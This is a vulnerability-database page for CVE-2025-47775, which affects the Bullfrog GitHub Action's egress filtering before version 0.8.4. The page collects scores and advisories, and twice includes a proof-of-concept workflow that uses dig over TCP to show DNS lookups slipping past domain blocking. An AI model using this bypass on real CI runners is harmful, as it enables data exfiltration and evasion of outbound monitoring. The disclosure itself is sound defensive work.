Every CVE Search/ Get API key

CVE-2025-47775

Bullfrog's DNS over TCP bypasses domain filtering

6.2 MediumFix available

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.49%Up 0.5 points since May 15, 2025
90%50%10%1%

What each source reports

CVE List Score used 6.2

Bullfrog's DNS over TCP bypasses domain filtering

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

Record
CVE-2025-47775
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-201
Updated
2026-11-02
EUVDEUVD-2025-28122 6.2

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

Record
EUVD-2025-28122
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-m32f-fjw2-37v3 6.2

Bullfrog's DNS over TCP bypasses domain filtering

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

Record
GHSA-m32f-fjw2-37v3
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-201
Updated
2026-11-02
NVD 6.2

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

Record
CVE-2025-47775
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-201
Updated
2026-11-02
OSV 6.2

Bullfrog's DNS over TCP bypasses domain filtering

Bullfrog is a GithHb Action to block unauthorized outbound traffic in GitHub workflows. Prior to version 0.8.4, using tcp breaks blocking and allows DNS exfiltration. This can result in sandbox bypass. Version 0.8.4 fixes the issue.

Record
CVE-2025-47775
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-201
Updated
2026-11-02
OSVGHSA-m32f-fjw2-37v3 6.2

Bullfrog's DNS over TCP bypasses domain filtering

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

Record
GHSA-m32f-fjw2-37v3
CVSS 3.1
6.2 MediumCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-201
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
bullfrogsec/bullfrog
GitHub Actions
 before 0.8.4
0.8.4

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-47775 is a medium vulnerability (CVSS 6.2) in Bullfrogsec Bullfrog, published May 14, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.49%, the 42nd percentile. Fixed in bullfrogsec/bullfrog 0.8.4.

References

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open